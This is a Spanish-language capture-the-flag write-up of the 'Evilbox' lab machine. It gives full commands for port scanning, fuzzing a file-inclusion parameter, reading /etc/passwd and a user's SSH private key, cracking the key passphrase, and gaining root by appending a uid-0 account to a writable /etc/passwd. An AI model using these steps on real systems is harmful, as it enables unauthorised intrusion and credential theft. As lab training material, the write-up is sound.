**Informe de Penetración - Máquina CTF "Evilbox"**

**Resumen Ejecutivo:**

Este informe detalla las actividades llevadas a cabo durante la prueba de penetración en la máquina CTF "Evilbox". El objetivo principal del ejercicio fue obtener acceso a la máquina "Evilbox" y obtener privilegios root para lograr un control total sobre el sistema. A lo largo del proceso, se utilizaron diversas técnicas y herramientas para identificar vulnerabilidades, explotarlas y elevar los privilegios. Se documentarán los pasos seguidos, los resultados obtenidos y las recomendaciones para mejorar la seguridad de la máquina. Es importante destacar que todas las actividades se llevaron a cabo dentro de un entorno controlado y con el consentimiento del propietario.

1. **Enumeración de puertos:**

Se utilizó la herramienta Nmap para escanear los puertos abiertos en la máquina "Evilbox". Los resultados fueron los siguientes:

* Puerto 22/tcp: SSH (OpenSSH 7.9p1 Debian 10+deb10u2)
* Puerto 80/tcp: HTTP (Apache httpd 2.4.38)

***Comandos:***

* ***nmap -sS -sV <IP>***

1. **Fuzzing de parámetros:**

Se empleó la técnica de fuzzing de parámetros utilizando la herramienta ffuf, con el objetivo de encontrar parámetros válidos en el archivo 'evil.php'.

Se ejecutó el comando "ffuf -u 'http://192.168.1.21/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0".

Se identificó un parámetro válido llamado "command".

***Comandos:***

* ***ffuf -u 'http://192.168.1.21/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0***

1. **Obtención de información adicional:**

Se utilizó la herramienta curl para obtener información adicional de la máquina objetivo.

Se realizó la solicitud "curl -s -X GET 'http://192.168.20.29/secret/evil.php?command=/etc/passwd'", obteniendo los usuarios del sistema.

Se identificó al usuario "mowree" como uno de los usuarios rescatables.

***Comandos:***

* ***curl -s -X GET "http://192.168.20.29/secret/evil.php?command=/etc/passwd"***

1. **Búsqueda de archivos sensibles:**

Se realizó una búsqueda del archivo de clave privada SSH del usuario "mowree" utilizando el comando "curl -s -X GET 'http://192.168.20.29/secret/evil.php?command=/home/mowree/.ssh/id\_rsa'".

Se obtuvo la clave privada, la cual fue guardada en un archivo llamado "key".

***Comandos:***

* ***curl -s -X GET "http://192.168.20.29/secret/evil.php?command=/home/mowree/.ssh/id\_rsa"***

1. **Descifrado de clave SSH:**

Se utilizó la herramienta "ssh2john" para convertir la clave privada al formato compatible con John the Ripper.

Se ejecutó el comando "ssh2john key > hash" y luego "john hash --wordlist=/usr/share/wordlists/rockyou.txt" para descifrar la contraseña.

Se obtuvo la contraseña "unicorn" asociada a la clave privada.

***Comandos:***

* ***ssh2john key > hash***
* ***john hash --wordlist=/usr/share/wordlists/rockyou.txt***

1. **Acceso a la Maquina EvilBox:**

Con las credenciales obtenidas en los pasos anteriores, nos conectamos al servicio ssh y obtuvimos acceso satisfactoriamente.

Credenciales: mowree:unicorn

***Comandos:***

* ***Ssh -i keu mowree@<IP>***

1. **Escalación Privilegios Root:**

Realizamos las respectivas enumeraciones para averiguar el camino para poder obtener privilegios root en la Maquina Evilbox como ser con los comandos sudo -l, uname -a y hasta con el comando find para buscar archivos con SUID pero no encontramos nada interesante, pero al final encontramos que el archivo /etc/passwd con el comando ls -la /etc/passwd podemos ver que dicho archivo tiene permisos de edición y escritura, cabe mencionar que este archivo es muy importante en el sistema operativo Linux ya que almacena información del usuario. Teniendo permisos de lectura y escritura podemos crear un usuario y con permisos de root, lo cual con el comando which confirmamos si podemos realizar toda la labor con python, y al final descubrimos que si podemos utilizarlo y utilizaremos los siguientes comandos para crear dicho usuario.

***>>> python***

***>>> import crypt***

***>>> username = "hacker"***

***>>> password = "hacker"***

***>>> salt = "hacker"***

***>>> cryp\_hash = crypt.crypt(password, salt)***

***>>> print(cryp\_hash)***

***ha2TYUFs4D5oM***

***>>> user\_line = "%s:%s:0:0:root:/root:/bin/bash" % (username, cryp\_hash)***

***>>> print(user\_line)***

***hacker:ha2TYUFs4D5oM:0:0:root:/root:/bin/bash***

***>>>***

***>>> file = "/etc/passwd"***

***>>> file\_obj = open(file, "a")***

***>>> file\_obj.write(user\_line + "\n")***

***>>> file\_obj.close()***

***>>>***

***>>> exit()***

Y asi logramos crear el usuario hacker con privilegios root. Una vez que el archivo se agrega con éxito, nuevamente usamos el comando **cat /etc/passwd** para verificar los cambios en el archivo, y la última línea muestra que nuestra carga útil se agrega al archivo, y con el comando **su hacker** y contraseña hacker podemos acceder al usuario creado y con privilegios root

**Conclusión:**

En esta competencia CTF en la máquina virtual Evilbox, se llevaron a cabo diversas etapas que incluyeron escaneo de puertos, fuzzing de parámetros, obtención de información, búsqueda y obtención de archivos sensibles, descifrado de clave SSH y acceso con privilegios root. Todas las acciones se realizaron dentro de los límites éticos y legales establecidos.

Es importante destacar que la finalidad de estas actividades es el aprendizaje y la mejora de habilidades en seguridad informática, siempre respetando las normas y regulaciones aplicables.